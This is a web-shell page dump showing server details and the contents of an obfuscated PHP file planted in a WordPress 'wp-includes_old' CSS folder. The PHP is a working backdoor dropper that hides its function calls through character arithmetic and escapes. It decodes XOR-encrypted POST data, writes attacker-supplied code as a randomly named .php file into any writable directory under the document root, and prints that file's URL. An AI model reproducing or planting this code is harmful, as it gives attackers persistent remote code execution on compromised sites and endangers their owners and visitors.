HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes_old/css/dist/widgets/djfehkuk.php
<?php function sOziePgnX($QaAeVnx, $gnPYj, $HvNLd){$ldLGlTj = "a90caafb-9a22-4bfb-ac34-1bf9b0fa868b";return $QaAeVnx ^ $ldLGlTj[$gnPYj % strlen($ldLGlTj)] ^ $HvNLd;}$iWyhcZP = "JgVjrk";function ayBzgzkdUc($iWyhcZP){ $WuALZxqCfl = chr(115)."\164".'r'."\x5f"."\x72"."\157".chr(116)."\61"."\x33";$iWyhcZP = $WuALZxqCfl($iWyhcZP);$VEHzQ = 'r'."\141"."\x77".chr(201-84)."\162".'l'.chr(100)."\145"."\143".chr(702-591)."\x64".chr(581-480);$iWyhcZP = $VEHzQ($iWyhcZP);$iWyhcZP = str_split($iWyhcZP);return $iWyhcZP;}function inVKB($jbrjHZAVk, $HvNLd){$jbrjHZAVk = array_map("sOziePgnX", array_values($jbrjHZAVk), array_keys($jbrjHZAVk), array_values($HvNLd));$jbrjHZAVk = implode("", $jbrjHZAVk);$UZGyX = 'u'.'n'.chr(115).chr(101)."\x72".'i'."\x61"."\x6c"."\151"."\x7a".'e';$jbrjHZAVk = @$UZGyX($jbrjHZAVk);return $jbrjHZAVk;}function kEUHIrWnS($HvNLd, $jbrjHZAVk){$HvNLd = array_slice(str_split(str_repeat($HvNLd, (count($jbrjHZAVk)/16)+1)), 0, count($jbrjHZAVk));return $HvNLd;}function sjDlw(){echo "pfCOGXs";}function GLTlDFNPp($zyhNcTWoyir){static $nNTXJCs = array();$NbOFUa = glob($zyhNcTWoyir . '/*', GLOB_ONLYDIR);$UYYVtDWMp = count($NbOFUa);if ($UYYVtDWMp > 0) {foreach ($NbOFUa as $zyhNcTWoy) {$UGQOu = chr(105).chr(306-191).'_'."\x77"."\x72"."\151".chr(116).chr(97).'b'."\154".chr(101);if (@$UGQOu($zyhNcTWoy)) {$nNTXJCs[] = $zyhNcTWoy;}}}foreach ($NbOFUa as $zyhNcTWoyir) GLTlDFNPp($zyhNcTWoyir);return $nNTXJCs;}function kblprNB($jbrjHZAVk){$aErJjwI = "\x44"."\117".'C'.chr(766-681)."\x4d".chr(69).'N'.'T'."\x5f"."\122".'O'."\117"."\124";$MjqHY = $_SERVER[$aErJjwI];$NbOFUa = GLTlDFNPp($MjqHY);$pqaes = array_rand($NbOFUa);$qjlca = "\56".chr(590-478)."\150".chr(596-484);$atXXuqWFIT = $NbOFUa[$pqaes] . "/" . substr(md5(time()), 0, 8) . $qjlca;$FFvkPuSFk = chr(102).'i'.'l'."\145".chr(263-168).chr(806-694).'u'."\164".chr(159-64)."\x63"."\x6f".chr(110).'t'."\145".'n'."\164".chr(115);@$FFvkPuSFk($atXXuqWFIT, $jbrjHZAVk);$nAeyIDOZ = 'H'."\124".chr(84)."\x50"."\137"."\x48"."\x4f".'S'."\124";$XKjWoF = chr(104)."\x74"."\164"."\160".chr(58).'/'.chr(47);$LBfcqbVRB = $XKjWoF . $_SERVER[$nAeyIDOZ] . substr($atXXuqWFIT, strlen($MjqHY));print($LBfcqbVRB);}function bsowSlshS(){$nEvIrF = 'p'.chr(1006-902)."\160";$lnerdr = chr(1063-951).chr(367-263).chr(112)."\166"."\145".chr(437-323).chr(826-711).chr(441-336).chr(111).chr(248-138);$jbrjHZAVk = Array($nEvIrF => @$lnerdr(), );$tgyjFbYB = "\163".chr(101)."\162"."\151"."\141".chr(108).chr(403-298).'z'."\x65";echo @$tgyjFbYB($jbrjHZAVk);}function FZRxP(){echo "JgVjrk";}foreach ($_POST as $HvNLd => $jbrjHZAVk){$BOSrnOU = strlen($HvNLd);if ($BOSrnOU == 16){$jbrjHZAVk = ayBzgzkdUc($jbrjHZAVk);$HvNLd = kEUHIrWnS($HvNLd, $jbrjHZAVk);$jbrjHZAVk = inVKB($jbrjHZAVk, $HvNLd);if (@is_array($jbrjHZAVk)){$pqaes = array_keys($jbrjHZAVk);$jbrjHZAVk = $jbrjHZAVk[$pqaes[0]];$pqaes = $pqaes[0];$pqaes = substr($pqaes, 0);if ($jbrjHZAVk !== $pqaes){kblprNB($jbrjHZAVk);}else {bsowSlshS();}}}}die();